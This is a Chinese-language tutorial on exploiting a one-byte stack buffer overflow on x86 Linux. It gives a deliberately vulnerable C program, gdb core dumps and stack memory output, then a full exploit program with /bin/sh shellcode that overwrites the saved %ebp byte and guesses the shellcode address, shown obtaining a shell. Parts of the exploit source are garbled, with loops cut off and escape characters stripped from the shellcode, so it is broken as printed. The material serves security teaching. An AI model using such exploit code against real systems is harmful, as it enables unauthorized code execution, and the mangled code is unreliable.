正如你所看到的,有关单字节缓冲区溢出问题确实存在及可利用,但是有没有一种好的方法,例如说猜测地址来实现呢?答案当然是肯定的。 想一想,当发生单字节溢出的时候,%ebp被我们覆盖,如果我们将buffer填满跳转地址,其中跳转地址指向我们的shellcode,它可以放在argv[]或者是环境变量中,那么,当两次ret后,从堆栈中弹出来的地址就会跳到我们的shellcode。如下图:
栈顶(低地址) 栈顶(低地址)
-----------+ ----------
跳转地址 ...... -+
---------- ----------
跳转地址 ......
---------- ----------
+-> ...... ......
---------- ----------
...... -------------> ......
---------- ---------- ==>shellcode
...... ......
---------- ----------
跳转地址 ......
---------- ----------
跳转地址 ......
-----------+ ----------
+--保存的%ebp<-1字节被覆盖 ......
---------- ----------
保存的%eip ...... -+
---------- ----------
栈底(低地址) 栈底(低地址)
在这种情况下,我们实际上仍然要提供两个offset给exploit,一个覆盖%ebp的偏移,一个shellcode地址偏移。但是我们还是有一种方法,即用一个特别的字节来覆盖%ebp的最后一个字节,是%ebp总在buffer里,这样,最后需要猜测的只剩下shellcode地址,与普通的缓冲区溢出一样了。
我们同样来分析warning3的《单字节缓冲区溢出》中的漏洞程序:
#include<stdio.h>
vul(char *p){
char buf[255];
int i;
for(i=0;i<=256;i++){
buf[i]=p[i];
}
}
int main(int argc,char **argv){
if(argc>1) vul(argv[1]);
}
[laolang@localhost teach]$ gcc only.c -o only
[laolang@localhost teach]$ ./only `perl -e 'print "a"x256'`
segmentation fault (core dumped)
[laolang@localhost teach]$ gdb -q only -c core
core was generated by `./only aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
program terminated with signal 11, segmentation fault.
reading symbols from /lib/libc.so.6...done.
loaded symbols for /lib/libc.so.6
reading symbols from /lib/ld-linux.so.2...done.
loaded symbols for /lib/ld-linux.so.2
#0 0x61616161 in ?? ()
(gdb)
看,发生溢出了。此时堆栈如下图所示:
栈顶(低地址)
----------
0x61616161
----------
0x61616161
----------
+-> ...... <--- 由于执行无效指令,导致core dump
----------
......
----------
......
----------
0x61616161
----------
0x61616161
----------
+--保存的%ebp<--- 1字节被(0x61)覆盖
----------
保存的%eip
----------
栈底(低地址) 栈底(低地址)
溢出的关键还在溢出的那一个字节。在这种条件下,只有计算buffer地址和猜测buffer地址两种方法,前者很麻烦,而且对于远程溢出无能为力,所以,我们来研究第二种方法。
为了提高成功率,我们溢出的一个字节的数据应该填一个很小的数字,特别是当buffer长度大于或等于256个字节的时候,不管buffer的地址是多少,总会准确的弹出跳转地址做为%eip,这样实际上只用猜测shellcode的地址,与普通的缓冲区溢出一样了。堆栈如下图所示:
溢出前堆栈情况:
(gdb) x/16 $esp
0xbffff82c: 0xbffff84c 0x08048441 0xbffffa18 0xbffff858
0xbffff83c: 0x4005be78 0x4014cacc 0x4000b1b0 0xbffff868
0xbffff84c: 0xbffff888 0x40048486 0x00000002 0xbffff8b4
0xbffff85c: 0xbffff8c0 0x08048490 0x00000000 0xbffff888
溢出后堆栈情况:
(gdb) x/100 $esp
0xbffff714: 0x4014cacc 0x00000000 0x4003f658 0x00000000
0xbffff724: 0x40008395 0x00000101 0x61616161 0x61616161
0xbffff734: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff744: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff754: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff764: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff774: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff784: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff794: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7a4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7b4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7c4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7d4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7e4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7f4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff804: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff814: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff824: 0x61616161 0x61616161 0xbffff800 <---- 看,最后一个字节被覆盖
……
(gdb)
此时:
栈顶(低地址)
----------
0x61616161
----------
0x61616161
----------
+-> ...... <--- 由于执行无效指令,导致core dump
----------
......
----------
......
----------
0x61616161
----------
0x61616161
----------
+--保存的%ebp<--- 1字节被(0x00)覆盖
----------
保存的%eip
----------
栈底(低地址) 栈底(低地址)
只要被覆盖的字节足够小,最终都会执行到我们的shellcode。以下是exploit:
[mrj@localhost test]$ cat exp_only_2.c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define nop 0x90
#define buff 2048 //缓冲区大小
#define bit 16 //覆盖字节
#define point 256 //溢出点
#define offset 500 //偏移
unsigned long get_esp(void){
__asm__("movl %esp,%eax");
}
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
int main(int argc,char **argv){
char *buf;
int addr=get_esp(),bsize=buff+point,offset=offset,bit=bit;
int i,j;
if(!(buf=malloc(bsize))){
printf("no enough memory!n");
exit(1);
}
if(argc>1) bit=atoi(argv[1]);
if(argc>2) offset=atoi(argv[2]);
addr-=offset;
for(i=0;i
buf[i+1]=(addr&0x0000ff00)>>8;
buf[i+2]=(addr&0x00ff0000)>>16;
buf[i+3]=(addr&0xff000000)>>24;
}
buf[i++]=bit;
for(i=i;i
for(i=i,j=0;j
buf[bsize-1]='';
execl("./only_2","only_2",buf,null);
}
[mrj@localhost test]$ gcc exp_only_2.c -o exp_only_2
[mrj@localhost test]$ ./exp_only_2
sh-2.05$ exit
exit
[mrj@localhost test]$
◆结束语:
正如你所看到的,对于有单字节溢出的程序,同样也可以使用猜测shellcode地址的方法来进行攻击,这说明远程的单字节缓冲区溢出可以实现。但是并不是所有的单字节溢出都可以利用,例如说在大endian结构的系统下就不能成功溢出。或者buffer太小的话,我们猜测buffer地址和shellcode地址就显得十分麻烦。
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器